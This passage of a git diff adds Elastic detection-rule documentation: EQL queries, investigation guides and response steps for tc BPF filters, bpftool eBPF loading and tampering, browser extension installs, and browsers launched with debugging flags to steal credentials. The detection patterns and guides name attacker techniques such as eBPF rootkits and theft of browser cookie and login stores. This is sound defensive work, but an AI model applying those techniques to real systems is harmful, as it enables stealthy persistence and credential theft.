+* endgame-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/h3xduck/TripleCross/blob/master/src/helpers/deployer.sh +* https://man7.org/linux/man-pages/man8/tc.8.html + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Threat: TripleCross +* Data Source: Auditd Manager +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 216 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating BPF filter applied using TC* + + +BPF (Berkeley Packet Filter) is a powerful tool for network traffic analysis and control, often used with the `tc` command to manage traffic on Linux systems. Adversaries may exploit this by setting BPF filters to manipulate or monitor network traffic covertly. The detection rule identifies suspicious use of `tc` to apply BPF filters, flagging potential misuse by checking for specific command patterns and excluding legitimate processes. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of the `/usr/sbin/tc` command with arguments "filter", "add", and "bpf" to ensure the alert is not a false positive. +- Investigate the parent process of the `tc` command to determine if it is a known legitimate process or if it appears suspicious, especially since the rule excludes `/usr/sbin/libvirtd`. +- Check the user account associated with the process execution to assess if it is a privileged account and whether the activity aligns with the user's typical behavior. +- Analyze network traffic logs around the time of the alert to identify any unusual patterns or connections that may indicate malicious activity. +- Correlate this event with other security alerts or logs to identify if this is part of a broader attack pattern or campaign, such as the use of the TripleCross threat. +- Review system logs for any other suspicious activities or anomalies that occurred before or after the alert to gather additional context. + + +*False positive analysis* + + +- Legitimate use of tc by virtualization software like libvirtd can trigger the rule. To handle this, exclude processes where the parent executable is /usr/sbin/libvirtd, as indicated in the rule. +- Network administrators may use tc with BPF filters for legitimate traffic management tasks. Identify and document these use cases, then create exceptions for specific command patterns or user accounts involved in these activities. +- Automated scripts or system management tools that configure network interfaces might use tc with BPF filters. Review these scripts and tools, and if they are verified as safe, exclude their process signatures from triggering the rule. +- Regular audits of network configurations can help distinguish between legitimate and suspicious use of BPF filters. Implement a process to regularly review and update exceptions based on these audits to minimize false positives. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further manipulation or monitoring of network traffic by the adversary. +- Terminate the suspicious `tc` process to stop any ongoing malicious activity related to the BPF filter application. +- Conduct a thorough review of network traffic logs to identify any unauthorized data exfiltration or communication with known malicious IP addresses. +- Restore the affected system from a known good backup to ensure that no malicious configurations or software persist. +- Implement network segmentation to limit the potential impact of similar threats in the future, ensuring critical systems are isolated from less secure areas. +- Escalate the incident to the security operations center (SOC) for further investigation and to determine if additional systems are compromised. +- Update and enhance endpoint detection and response (EDR) solutions to improve monitoring and alerting for similar suspicious activities involving `tc` and BPF filters. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.executable == "/usr/sbin/tc" and process.args == "filter" and process.args == "add" and process.args == "bpf" and +not ?process.parent.executable == "/usr/sbin/libvirtd" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-bpf-program-or-map-load-via-bpftool.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-bpf-program-or-map-load-via-bpftool.asciidoc new file mode 100644 index 0000000000..18efd4b075 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-bpf-program-or-map-load-via-bpftool.asciidoc @@ -0,0 +1,153 @@ +[[prebuilt-rule-8-19-34-bpf-program-or-map-load-via-bpftool]] +=== BPF Program or Map Load via bpftool + +Detects execution of bpftool commands used to load, attach, run, or pin eBPF programs, as well as create or update eBPF maps and links. These operations interact directly with the Linux eBPF subsystem and can modify kernel-level behavior. While commonly used by legitimate networking or observability tooling, unexpected or interactive usage may indicate eBPF-based rootkit activity, policy tampering, or unauthorized kernel instrumentation. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://manpages.ubuntu.com/manpages/jammy/man8/bpftool-prog.8.html +* https://manpages.ubuntu.com/manpages/noble/man8/bpftool-map.8.html +* https://man.archlinux.org/man/bpftool-link.8.en + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Threat: Rootkit +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Auditd Manager +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating BPF Program or Map Load via bpftool* + + +This rule flags bpftool executions that load, attach, run, or pin eBPF programs and that create or pin maps/links, actions that can change kernel behavior without traditional user-space artifacts. Adversaries can use bpftool to load a malicious eBPF object, attach it to a tracepoint or traffic control hook, and pin the program and maps in bpffs so it persists and hides or filters activity across reboots. + + +*Possible investigation steps* + + +- Capture full command line, parent process, user context, TTY/session, and current working directory to determine whether execution was interactive administration or automated tooling. +- Enumerate loaded and pinned eBPF artifacts and their attachment points using `bpftool prog show`, `bpftool map show`, `bpftool link show`, and a filesystem review of `/sys/fs/bpf` to identify unexpected persistence. +- Identify the eBPF object/source used for the load (path, inode, hash, package origin) and retrieve a copy for analysis, including checking for recent writes or downloads in the same directory tree. +- Correlate the event time with system logs and other telemetry for follow-on activity such as privilege escalation, module loads, network filtering changes, or suspicious process hiding indicators. +- Hunt for persistence mechanisms that would reload the same eBPF program after reboot (systemd units/timers, cron, init scripts, container entrypoints) and validate against known legitimate observability/network stacks in the environment. + + +*False positive analysis* + + +- A system administrator or SRE may run `bpftool prog load/attach/pin` or `bpftool map create/pin` during planned troubleshooting or performance investigation to temporarily instrument kernel events and persist objects under `/sys/fs/bpf` for multi-step validation. +- A legitimate system service or boot-time automation may invoke `bpftool` to load and pin eBPF programs/maps as part of expected networking, security policy enforcement, or observability initialization, especially after upgrades or configuration changes that trigger reloading. + + +*Response and remediation* + + +- Immediately isolate the host or container from the network and stop the initiating service/session, then detach any active hooks by removing pinned artifacts under `/sys/fs/bpf` and verifying with `bpftool prog show` and `bpftool link show` that the suspicious program/link is no longer attached. +- Preserve evidence by collecting the full `bpftool` command line and parent chain, a recursive copy of `/sys/fs/bpf`, and the exact eBPF object file used for the load (path, hash, permissions, timestamps) before deleting or modifying artifacts. +- Eradicate persistence by removing malicious eBPF pins, deleting or quarantining the associated `.o`/loader binaries, and disabling the boot-time mechanism that reloads them (systemd unit/timer, cron, init scripts, container entrypoint) followed by a controlled reboot to clear any remaining in-kernel state. +- Recover by restoring the system to a known-good configuration, validating expected networking/observability behavior, and monitoring that no new pinned programs/maps/links reappear under `/sys/fs/bpf` after reboot or service restarts. +- Escalate to incident response and kernel/rootkit specialists if the program attaches to security-relevant hooks (e.g., tracepoints/kprobes/LSM/tc) or if pinned objects reappear after removal, indicating an active persistence mechanism or compromised privileged runtime. +- Harden by restricting `bpftool` availability and access to bpffs, enforcing least-privilege for CAP_BPF/CAP_SYS_ADMIN, requiring signed/managed eBPF loaders, and enabling controls that limit eBPF usage to approved components in production images and hosts. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.name == "bpftool" and ( + (process.args == "prog" and process.args in ("load", "loadall", "attach", "run", "pin")) or + (process.args == "map" and process.args in ("create", "pin")) or + (process.args == "link" and process.args == "pin") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Kernel Modules and Extensions +** ID: T1547.006 +** Reference URL: https://attack.mitre.org/techniques/T1547/006/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Rootkit +** ID: T1014 +** Reference URL: https://attack.mitre.org/techniques/T1014/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Kernel Modules and Extensions +** ID: T1547.006 +** Reference URL: https://attack.mitre.org/techniques/T1547/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-bpf-program-tampering-via-bpftool.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-bpf-program-tampering-via-bpftool.asciidoc new file mode 100644 index 0000000000..e6fe589974 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-bpf-program-tampering-via-bpftool.asciidoc @@ -0,0 +1,136 @@ +[[prebuilt-rule-8-19-34-bpf-program-tampering-via-bpftool]] +=== BPF Program Tampering via bpftool + +Detects execution of bpftool commands used to detach eBPF programs or links, or to delete or modify eBPF maps. These actions can disable, alter, or interfere with kernel-level instrumentation and enforcement mechanisms implemented through eBPF. In environments relying on eBPF-based networking, observability, or security controls, unexpected use of these operations may indicate defense evasion or runtime tampering. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://manpages.ubuntu.com/manpages/jammy/man8/bpftool-prog.8.html +* https://manpages.ubuntu.com/manpages/noble/man8/bpftool-map.8.html +* https://man.archlinux.org/man/bpftool-link.8.en + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Threat: Rootkit +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Auditd Manager +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating BPF Program Tampering via bpftool* + + +This rule detects bpftool executions that detach eBPF programs/links or delete/update eBPF maps, actions that can silently disable kernel-level visibility and enforcement built on eBPF. Attackers use these operations to evade detection or weaken runtime controls by removing loaded probes or rewriting map contents that drive policy decisions. A common pattern is running bpftool to detach a program from a hook or detach a link shortly before other suspicious activity. + + +*Possible investigation steps* + + +- Pull the full bpftool command line and correlate it with the invoking user, session (TTY/SSH), parent process chain, and any preceding privilege escalation to determine whether it was interactive admin work or automated tampering. +- Capture current eBPF state (`bpftool prog show`, `bpftool link show`, `bpftool map show -j`) and compare with recent snapshots/logs to identify which program/link/map changed and what controls (sensor, CNI, LSM, XDP/TC) may have been impacted. +- Identify the affected attachment point by mapping the detached program/link ID to its hook (e.g., tc/xdp/cgroup/tracepoint/kprobe) and validate operational impact by checking for missing telemetry, policy gaps, or network behavior changes around the event time. +- Review audit/system logs and package history for installation or recent execution of bpftool, kernel/debug tooling, or custom eBPF loaders, and look for nearby suspicious binaries/scripts that could be orchestrating repeated detach/update actions. +- If malicious activity is suspected, preserve artifacts by exporting bpftool JSON output and relevant `/sys/fs/bpf` entries, then hunt for follow-on persistence or rootkit-like behavior (new eBPF loads, altered maps, hidden processes, unexpected kernel module activity) on the host. + + +*False positive analysis* + + +- A system administrator or SRE running bpftool during incident response or troubleshooting may detach a program/link or update/delete a map to temporarily disable an eBPF hook and validate whether it is causing network drops, performance regressions, or incorrect enforcement. +- A maintenance workflow during kernel, CNI, or eBPF policy rollouts may use bpftool to detach and replace existing attachments or refresh map entries as part of a controlled upgrade/rollback, especially when reloading pinned objects under `/sys/fs/bpf`. + + +*Response and remediation* + + +- Contain by isolating the host from the network or restricting outbound access while preserving access for forensics if bpftool detach/map operations are unexpected or coincide with loss of eBPF-based enforcement/telemetry. +- Eradicate by stopping and removing the controlling process/script (inspect the bpftool parent chain and cron/systemd units), revoking the initiating account’s sudo/root access, and deleting any unauthorized pinned objects under `/sys/fs/bpf` after exporting them for evidence. +- Recover by reloading the approved eBPF components (agent/CNI/LSM/XDP/TC) from trusted packages or images, reattaching required programs/links, and restoring known-good map contents from backups or redeploying policy to repopulate maps. +- Escalate to incident response and platform owners immediately if repeated bpftool tampering persists after containment, you find unknown pinned maps/programs with suspicious names/owners, or multiple hosts show simultaneous detach/update activity. +- Harden by limiting bpftool availability (remove from production images where not needed), enforcing least-privilege on CAP_BPF/CAP_SYS_ADMIN and sudoers, and adding immutable monitoring of `/usr/sbin/bpftool` and `/sys/fs/bpf` plus periodic snapshots of `bpftool prog/link/map show` for drift detection. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.name == "bpftool" and ( + (process.args == "prog" and process.args == "detach") or + (process.args == "map" and process.args in ("delete", "update")) or + (process.args == "link" and process.args == "detach") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Rootkit +** ID: T1014 +** Reference URL: https://attack.mitre.org/techniques/T1014/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-browser-extension-install.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-browser-extension-install.asciidoc new file mode 100644 index 0000000000..55c5439199 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-browser-extension-install.asciidoc @@ -0,0 +1,182 @@ +[[prebuilt-rule-8-19-34-browser-extension-install]] +=== Browser Extension Install + +Identifies the install of browser extensions. Malicious browser extensions can be installed via app store downloads masquerading as legitimate extensions, social engineering, or by an adversary that has already compromised a system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* endgame-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: SentinelOne +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Threat: Browser Extension Abuse +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 211 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Browser Extension Install* + +Browser extensions enhance functionality in web browsers but can be exploited by adversaries to gain persistence or execute malicious activities. Attackers may disguise harmful extensions as legitimate or use compromised systems to install them. The detection rule identifies suspicious extension installations by monitoring file creation events in typical extension directories, filtering out known safe processes, and focusing on Windows environments. + + +*Possible investigation steps* + + +- Review the file creation event details to identify the specific browser extension file (e.g., .xpi or .crx) and its path to determine if it aligns with known malicious patterns or locations. +- Check the process that initiated the file creation event, especially if it is not a known safe process like firefox.exe, to assess if it is a legitimate application or potentially malicious. +- Investigate the user account associated with the file creation event to determine if the activity is expected or if the account may have been compromised. +- Examine recent system activity and logs for any signs of social engineering attempts or unauthorized access that could have led to the installation of the extension. +- Cross-reference the extension file name and path with threat intelligence sources to identify if it is associated with known malicious browser extensions. +- If applicable, review the browser's extension management interface to verify the presence and legitimacy of the installed extension. + + +*False positive analysis* + + +- Language pack installations for Firefox can trigger false positives. Exclude files named "langpack-*@firefox.mozilla.org.xpi" from detection to prevent unnecessary alerts. +- Dictionary add-ons for Firefox may also be flagged. Add exceptions for files named "*@dictionaries.addons.mozilla.org.xpi" to reduce false positives. +- Regular updates or installations of legitimate browser extensions from trusted sources can be mistaken for malicious activity. Maintain a list of trusted processes and paths to exclude from monitoring. +- User-initiated installations from official browser stores might be flagged. Educate users on safe installation practices and consider excluding known safe processes like "firefox.exe" when associated with legitimate extension paths. +- Frequent installations in enterprise environments due to software deployment tools can cause alerts. Coordinate with IT to identify and exclude these routine activities from detection. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further spread or communication with potential command and control servers. +- Terminate any suspicious processes associated with the unauthorized browser extension installation, such as unknown or unexpected instances of browser processes. +- Remove the malicious browser extension by deleting the associated files from the extension directories identified in the alert. +- Conduct a full antivirus and anti-malware scan on the affected system to identify and remove any additional threats or remnants of the malicious extension. +- Review and reset browser settings to default to ensure no residual configurations or settings are left by the malicious extension. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Implement application whitelisting to prevent unauthorized browser extensions from being installed in the future, focusing on the directories and file types identified in the detection query. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-11-setup[Sysmon Event ID 11 - File Create] + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type : "creation" and +( + /* Firefox-Based Browsers */ + ( + file.name : "*.xpi" and + file.path : "?:\\Users\\*\\AppData\\Roaming\\*\\Profiles\\*\\Extensions\\*.xpi" and + not + ( + process.name : "firefox.exe" and + file.name : ( + "langpack-*@firefox.mozilla.org.xpi", + "*@dictionaries.addons.mozilla.org.xpi", + "newtab@mozilla.org.xpi", + "uBlock0@raymondhill.net.xpi", + /* AdBlockPlus */ + "{d10d0bf8-f5b5-c8b4-a8b2-2b9879e08c5d}.xpi", + /* Bitwarden */ + "{446900e4-71c2-419f-a6a7-df9c091e268b}.xpi", + "addon@darkreader.org.xpi", + /* 1Password */ + "{d634138d-c276-4fc8-924b-40a0ea21d284}.xpi", + "support@lastpass.com.xpi", + /* Grammarly */ + "87677a2c52b84ad3a151a4a72f5bd3c4@jetpack.xpi", + "sentinelone_visibility@sentinelone.com.xpi", + "keepassxc-browser@keepassxc.org.xpi" + ) + ) + ) or + /* Chromium-Based Browsers */ + ( + file.name : "*.crx" and + file.path : "?:\\Users\\*\\AppData\\Local\\*\\*\\User Data\\Webstore Downloads\\*" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Software Extensions +** ID: T1176 +** Reference URL: https://attack.mitre.org/techniques/T1176/ +* Sub-technique: +** Name: Browser Extensions +** ID: T1176.001 +** Reference URL: https://attack.mitre.org/techniques/T1176/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-browser-process-spawned-from-an-unusual-parent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-browser-process-spawned-from-an-unusual-parent.asciidoc new file mode 100644 index 0000000000..8f9825e584 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-browser-process-spawned-from-an-unusual-parent.asciidoc @@ -0,0 +1,206 @@ +[[prebuilt-rule-8-19-34-browser-process-spawned-from-an-unusual-parent]] +=== Browser Process Spawned from an Unusual Parent + +Identifies instances where a browser is launched with remote debugging, headless automation, or minimal arguments from an unusual parent process. This may indicate an attempt to broker or tamper with a browser session for credential theft. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/katz-and-mouse-game + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Information Stealer +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Browser Process Spawned from an Unusual Parent* + + + +*Possible investigation steps* + + +- What browser-brokering path did the alert capture? + - Focus: `process.command_line`, `process.parent.executable`, `process.parent.command_line`, and `process.Ext.ancestry`. + - Implication: escalate with one corroborator when Chrome or Edge starts with high-risk arguments such as "--remote-debugging-port", "--user-data-dir", "--profile-directory", "--headless", offscreen window positioning, or bare browser execution from an unexplained shell, script host, Office app, archive tool, LOLBin, or remote-admin parent; lower suspicion only when a stable signed automation, RPA, support, or test-runner parent uses the same bounded debug or profile behavior for the same user-host cohort. + +- Is the browser and launcher identity consistent with a signed automation toolchain? + - Focus: `process.executable`, `process.code_signature.subject_name`, `process.code_signature.trusted`, and `process.parent.code_signature.subject_name`. + - Implication: escalate when the browser or launcher is unsigned, user-writable, mismatched to its product identity, or signed by an unexpected publisher; identity looks cleaner when Chrome or Edge and the launcher signer match the same recognized toolchain, but identity alone does not clear the browser-brokering behavior. + +- Does the user, host, and session context fit the launch? + - Focus: `user.id`, `user.name`, `host.id`, `process.Ext.session_info.logon_type`, and `process.Ext.authentication_id`. !{investigate{"description":"","label":"Authentication events for the linked session","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.TargetLogonId","queryType":"phrase","value":"{{process.Ext.authentication_id}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4624","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: if Windows Security logs are available, pivot `process.Ext.authentication_id` plus `host.id` to `winlog.event_data.TargetLogonId` for 4624 session origin, `source.ip`, and `winlog.event_data.AuthenticationPackageName`; search `winlog.event_data.SubjectLogonId` separately for 4648 explicit-credential context. Missing auth telemetry is unresolved, not benign. + - Implication: escalate when the browser starts from a service, scheduled, remote, or explicit-credential session that does not match the user-host role; lower suspicion when the session, parent, and user-host cohort all fit the same recognized automation pattern. + +- Do network events show DevTools brokering or unexpected egress? + - Focus: if network telemetry is available, review browser- and parent-scoped connection events on `host.id` for `process.entity_id` and `process.parent.entity_id`: `source.ip`, `destination.ip`, and `destination.port`. !{investigate{"description":"","label":"Network activity for browser and parent processes","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.parent.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: separately review DNS events for `dns.question.name`; DNS events do not carry connection-side `source.ip` or `destination.ip`. The linked transform includes browser and parent `process.entity_id` values to catch browser egress and parent-side DevTools client connections. Missing network telemetry is unresolved, not benign. + - Implication: escalate when a parent or non-browser process connects over loopback to the browser debugging port, or when the browser reaches rare public destinations unrelated to the same automation pattern; lower suspicion when traffic stays inside recognized vendor, proxy, test, or local automation paths for that parent and command line. + +- Do file events show browser-store collection or staged output? + - Focus: if file telemetry is available, review file events on `host.id` for `process.entity_id` and `process.parent.entity_id`: `file.path` and `file.Ext.original.path`, especially copied or renamed browser-store artifacts such as "Login Data", "Cookies", "Local State", or "LocalPrefs.json". !{investigate{"description":"","label":"File activity for browser and parent processes","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.parent.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: if entity IDs are unavailable, pivot with `host.id`, process IDs, and a tight 